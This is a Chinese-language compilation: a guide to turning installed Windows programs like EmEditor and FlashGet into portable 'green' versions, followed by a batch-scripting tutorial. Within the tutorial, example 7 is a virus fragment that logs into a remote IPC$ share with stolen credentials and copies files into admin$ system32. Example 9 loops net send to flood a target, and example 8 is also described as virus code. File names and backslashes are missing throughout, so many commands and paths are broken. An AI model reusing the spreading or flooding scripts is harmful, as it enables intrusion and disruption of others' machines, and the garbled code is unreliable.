Emeditor是方法1的一个反例。Emeditor可以从开发商主页/下载，是一个简单好用的文本编辑器，支持多种配置，自定义颜色、字体、工具栏、快捷键设置，可以调整行距，避免中文排列过于紧密，具有选择文本列块的功能(按ALT 键拖动鼠标)，并允许无限撤消、重做，总之功能多多，使用方便，是替代记事本的最佳编辑器。 下载后，发现用Winrar可以打开，解压后，运行Emeditor，发现丢失了预定义的多种文本格式的语法配置，看来这样做不行，只好采用方法5了。请随我一步步进行，步骤如下：
1 扫描系统，制订系统快照。这里我仅仅记录当前系统的注册表（因为我
认为Emeditor不会向系统目录拷贝文件，如果判断错误，就会导致"绿化"失败），运行ART（Advanced Registery Tracer），扫描一遍注册表。不要关闭ART。
2 安装Emeditor。随便安装到哪里，反正一会就卸载。安装好后，如果需要的话，更改配置，或者配置新的文件类型，例如我就增加了NFO文件类型，设定和NFO文件相关联的字符集，这样可以用Emeditor直接察看NFO文件，不需要专门的察看工具了。
3记录系统变化。再一次扫描系统，给系统作快照，从ART里面再一次扫描注册表，然后选择菜单命令Registry-〉compare here或者直接用键盘F10，点击那个save to redo file的按钮，存储为文件，关闭ART。
4 复制并卸载。复制安装好的Emeditor目录到其他路径，然后卸载Emeditor程序。
5 分析。打开刚刚导出的文件，这是一个巨大的reg文件，单单是REG文件就有1兆多，不过不用担心。阅读注册表后，删除和emeditor无关的注册表项后，如仅仅和资源管理器相关的注册表部分，发现剩下的注册表文件可以分成3个部分。一部分在位于注册表的这个路径[HKEY_LOCAL_MACHINESOFTWAREEmSoft]，里面大部分不涉及路径，只有一项记录了Emeditor的路径，就是"ModulePath"="h:EmEditor4"；还有一大部分在注册表的这个路径下面[HKEY_CURRENT_USERSoftwareEmSoftEmEditor v3]，里面有很多项都涉及了Emeditor的路径，如"Tmpl"="h:"；还有就是和Emeditor和txt文件后缀向关联的注册表设置，把Emeditor设置为IE中缺省的源代码察看工具的注册表设置以及注册COM组件的注册表部分（和InProcServer32相关的就是）。
6 "绿化"。
1) 把位于注册表路径路径[HKEY_LOCAL_MACHINESOFTWAREEmSoft]的内容存储到emeditor_文件中，把位于注册表路径[HKEY_CURRENT_USERSoftwareEmSoftEmEditor v3]的内容存储到emeditor_文件中，把剩下的内容首先除掉COM组件的相关部分，然后存储到emeditor_文件中。
2) 把emeditor_文件和emeditor_文件中涉及到路径的注册表内容抽取出来，存储到文件。
3) 把emeditor_文件和文件用INF的语法转换为INF文件，或者用一个免费小工具自动转换，然后把转换得到的emeditor_文件和文件中的路径h:EmEditor4全部用%01%代替。下面是文件的内容：
[Version] Signature="CHICAGO"
[DefaultInstall] AddReg=EmeditorConf_AddReg
hklm,"SOFTWAREEmSoftEmEditor v3Common","ModulePath",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigC++","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigCSS","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigHTML","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigJava","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3Configjavascript","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigJSP","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigPerl","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigPHP","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigPython","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigRuby","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigTeX","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigVBScript","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigVBScript for EmEditor","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigWindows Script","Tmpl",,"%01%"
hkcu,"SoftwareEmSoftEmEditor v3ConfigXML","Tmpl",,"%01%"
** 写一个批处理文件，内容如下：
regedit emeditor_
regedit emeditor_
,InstallHinfSection DefaultInstall 128 .
regsvr32
,InstallHinfSection DefaultInstall 128 .emeditor_ '
4) 把，，emeditor_，emeditor_，emeditor_5个文件存储到Emeditor的目录，删除其余的注册表文件。
5) 根据安装步骤和，写出相应的卸载的批处理文件，这个比较简单。 经过测试后，Emeditor工作正常，也可以注释掉的最后2行语句，这样Emeditor就不会和系统关联，上面的步骤是在windows 2000上的，对于win9x也同样，而且win9x下面的emeditor的配置文件和windows 2000的一样，仅仅是程序的版本不同。 把制作好的绿色的emeditor拷贝到U盘上，需要用的时候，直接执行里面的文件就可以了（注意，要在Emeditor的目录运行批处理文件），不需要任何文件拷贝。这个例子演示如何自动绿色安装，如何解决路径问题，如果你用几十个类似的绿色软件，但是需要手工修改路径的话，是很难记住那些路径需要修改的，当然你如果可以写出自动替换路径的脚本也是可以的。我说u盘就是为了强调 路径可以变化，如果大家所使用的机器的所有分区排列都是一样的话，都是把软件存储到c：的话，是可以直接备份注
册表的，否则需要手工修改路径，修改一个容易，多了就麻烦了。 从以上的事例中，可以看出，方法2和方法1基本一样，只不过方法1我们使用WinRar解压缩，而方法2我们使用安装程序解压缩。方法6可以说是方法5的简化版本，方法3和方法4也可以辅助方法5，也有一些需要联合应用这些方法，有时候难以判断到底使用了那个方法，方法是死的，需要灵活运用，有些时候需要不断试验。 我简单说几个软件"绿化"时候使用的方法，某些软件可能有多种"绿化"方法，然而最后的结果基本一样： 使用方法1就不提了，只要没有专门的安装程序，直接以zip形式发布的，都使用方法1。
CuteFTP,Flashfxp,qq，foobar ，winamp2.8,acrobat，FinalData ，金山词霸 ，ZoomPlayer，WinISO ，IsoBuster，WinISO ，MIRC，WinCVS,Photoshop6 ，EASYRECOVERY 6.03，网易泡泡使用方法2。 VisualC++ 6， real player，realmedia的解码器包，大部分解码器如vp6，mpeg2，ac3 ，ogg ，divx ，xvid 使用方法5。 Netants ，flashget，OfflineExplorer acdsee，ultraedit ,IBM词典，theBat，网文快捕，和现在的CyberArticle，PartitionMagic7 使用方法6。 不适合"绿化"的有Directx9，Mediaplayer9，IE6，微软的补丁程序，Office2003，反病毒工具NAV，Java虚拟机，虚拟机VMware等等，其中有些是不知道如何"绿化"或者说比较困难，如Office 2003，我认为那种把Office安装到硬盘上，然后抽去注册表的变化的方法部叫做"绿化"，因为注册表文件中有大量的绝对路径存在，而且Offcie的组件之间有比较复杂的联系，所以难以"绿化"。有些是"绿化"没有意义，如IE6，微软的补丁程序，Directx9等等。 目前我使用的软件，绝大部分都"绿化"了，只有少数几个必须安装了，如MS Office，Visual 2003等等。感觉非常方便，尤其是改变盘符的时候，非常简单，可以做到便携化。
绿色软件自己做！
绿色软件以其小巧实用、无需安装、不给系统增加垃圾文件而受到广大用户的青睐。可惜目前网络上提供的绿色软件较少，在功能应用上也比较单一。如果我们常用的，如文字图像处理、杀毒、多媒体等类型软件都是绿色的，那该多好啊！利用Windows优化大师，就能实现这一梦想。 下载安装完成后，运行优化大师，在左方的功能列表中点击进入"系统清理维护"类别中的"软件智能卸载"，页面上方的程序列表中提供了当前电脑中已经安装的全部应用程序名单，先在该名单中选择一个要制作成绿色软件的目标软件，然后点击右边的"分析"按钮，优化大师即开始智能分析与该应用程序相关的信息（如果要分析的软件没有出现在列表中，请点击"其他"按钮，手动选择要分析的软件）。 这里笔者以
选择FlashGet（网际快车）为例，详细讲述优化大师如何制作软件的绿色运行版。 根据所分析软件的大小以及复杂程度，智能分析大概需要几十秒到数分钟不等的时间，待分析完成后，即可在下方的关联文件框中看到该软件正常运行时所需要的所有文件，注册表键值信息也在其中。请将这些注册表键值先行记下，单击"卸载"按钮，优化大师开始备份相关的注册表信息和文件信息，接着进行卸载操作。卸载完毕后，刚才所有被智能分析的文件，都被保存到了Windows优化大师安装目录下的BackupUninstallFiles文件夹中，将这里的文件全部复制提取出来，放在一个新文件夹中，例如笔者为该文件夹起名为"FlashGet绿色安装包"。 在"开始→运行"中输入regedit命令，打开注册表编辑器，依次选择"编辑→查找"，在"查找目标"中输入刚才记下的注册表键值名称和相应键值。找到后，在该键值上单击右键，选择"导出"命令，将软件的注册表文件全部导出到之前的"FlashGet绿色安装包"文件夹中。这样FlashGet的绿色软件安装包就做好了。 将该安装包拷贝到未安装FlashGet的电脑上，双击安装包中的".reg"文件，导入注册表信息，最后执行软件主程序，FlashGet就能够在这台电脑上运行了。
在理论上，以此种方法可以将所有软件全部制作成绿色运行版，但由于大型软件的注册表键值和关联文件为数众多，在查找时需要耗费大量的时间，这就违背了绿色软件"精简易用"的宗旨，因此建议大家以此法制作大小在50M以下的中小软件为佳。
bat批处理教程（1）
这是一篇技术教程，我会用很简单的文字表达清楚自己的意思，你要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。
先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟，当然就更不用说了；但我想总结出一个“比较合适的”，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！
按照我的理解
，批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。
OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句“闲话”：要学好批处理，DOS基础一定要牢！当然脑子灵活也是很重要的一方面。
例一、先给出一个最easy的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为然后执行（以后文中只给出代码，保存和执行方式类似）：
ping >
ping >>
ping >>
ping >>
ping >>
ping >>
ping >>
ping >>
exit
是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离“从服务器中转”那一痛苦的过程。这里>的意思，是把前面命令得到的东西放到后面所给的地方，>>的作用，和>的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。
例二、再给出一个已经过时的例子（）：
@echo off
if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif
为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的QQ了（KAO，我的QQ还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除QQ的广告，让对话框干干净净。这里用的地址是QQ的默认安装地址，默认批处理文件名为
，你当然可以根据情况自行修改。在这个脚本中使用了if命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的DOS窗口，不按CTRL+C强行终止命令，它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。
例三，使用批处理脚本查是否中冰河。脚本内容如下：
@echo off
netstat -a -n >
type | find "7626" && echo "Congratulations! You have infected GLACIER!"
del
pause & exit
这里利用了netstat命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很easy的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&&和管道命令|，后面将详细介绍。
例四，借批处理自动清除系统垃圾，脚本如下：
@echo off
if exist c:windowstemp*.* del c:windowstemp*.*
if exist c:windowsTempor~1*.* del c:windowsTempor~1*.*
if exist c:windowsHistory*.* del c:windowsHistory*.*
if exist c:windows
ecent*.* del c:windows
ecent*.*
将以上脚本内容保存到里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。
怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。 酸、苦和辣，有没有甜天知道。
为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用“专业”的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我**怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教
程之际感慨几句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。
看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以为所欲为，没有达不到的境界！
批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的Bad command or fail name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，输出的结果不是Bad command or fail name，屏幕是这么显示的：‘你的爱情’不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。
从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见DOS命令在批处理脚本中有这广泛的应用，它们是批处理脚本的BODY部分，但批处理比DOS更灵活多样，更具备自动化。要学好批处理，DOS一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的DOS命令，常用命令如COPY、DIR等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。
例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我“被逼”写了这个脚本，用起来很爽，呵呵。看看脚本内容：
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "hel
p" goto usage
pause
::pause to see usage
masm %
::assemble the .asm code
if errorlevel 1 pause & edit %
::if error pause to see error msg and edit the code
link % & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is
::display usage
先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的E文（害怕E文的朋友也不用担心，都很easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！
在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。
1、@
这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。
2、echo
中文为“反馈”、“回显”的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态（off或on）执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令
本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！
echo命令的另一种用法一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is 将在脚本执行后的窗口中显示，而echo命令本身不显示（为什么？？）。
echo命令的另一种用法二：可以直接编辑文本文件。例六：
echo nbtstat -A 192.168.0.1 >
echo nbtstat -A 192.168.0.2 >>
echo nbtstat -A 192.168.0.3 >>
以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个的文件，直接执行就会得到结果。
3、::
这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*…………*/类似。地球人都能看懂，就不多说了。
4、pause
中文为“暂停”的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。
5、:和goto
为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到goto时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。
goto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如：
……
goto end
……
:end
这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。
6、%
这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七：
net use %1ipc$ %3 /u:"%2"
copy
%1admin$system32 /y
copy %1admin$system32 /y
copy %1admin$system32 /y
copy %1admin$system32 /y
attrib %1admin$ -r -h -s
以上代码是病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 ……。假设这个脚本被保存为，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。
关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！
这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。
烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过“唯女子与小人，难养也”，真**有先见之明，佩服！虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！
曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机
会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是100年。因为100年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有50年那么长吗？答案是：试试看吧。
批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定要静下心来，除非你已经掌握了这篇教程的所有东西----但那也就不必看了，浪费时间！
7、if
接上一章，接着讲if命令。总的来说，if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。
(1)、输入判断。还是用例五里面的那几句吧：
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
这里判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/?或help时（大家一般看一个命令的帮助，是不是输入的/?或help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到usage。这里还可以用否定形式来表示“不等于”，例如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文体会一下就understand了。
(2)、存在判断。再看例二里这句：
if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif
如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句“如果不存在那些gif文件则退出脚本”：if not exist C:Progra~1TencentAD*.gif exit。只是多一个not来表示否定而已。
(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）：
masm %
if errorlevel 1 pause & edit %
link %
先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只
介绍一下和if命令有关的地方，&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause & edit %部分）。
另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为：
masm %
if not errorlevel 1 link %
pause & edit %
看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，“if not errorlevel 1”和“if errorlevel 0”的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。
这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示“否则”的操作，是比较麻烦的。以上代码必须变成：
masm %
if exist % link %
else pause & edit %
关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个“if /?”就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调
用另一个批处理脚本。看例八（默认的三个脚本文件名分别为、和）：
：
……
CALL 0
……
：
……
ECHO %IPA%.%1 >
……
CALL
：
for /f "tokens=1,2,3 delims= " %%i in (%1) do call %%i %%j %%k
有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：1、脚本调用可以灵活运用，循环运用、重复运用。2、脚本调用可以使用参数！关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。
在中，后面跟了参数0，在执行时的效果，其实就是把里的参数%1用0代替。在中，后面跟了参数（一个文件，也可以做参数），执行时的效果，就是用中的每一行的三个变量（这里不懂没关系，学过for命令后就懂了），对应代换中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。
那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九（默认脚本文件名）：
net send %1 This is a call example.
call
这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call 的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。
给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为）：
call
一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love is ab
orted的提示。
9、find
这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明：
@echo off
netstat -a -n >
type | find "7626" && echo "Congratulations! You have infected GLACIER!"
del
pause & exit
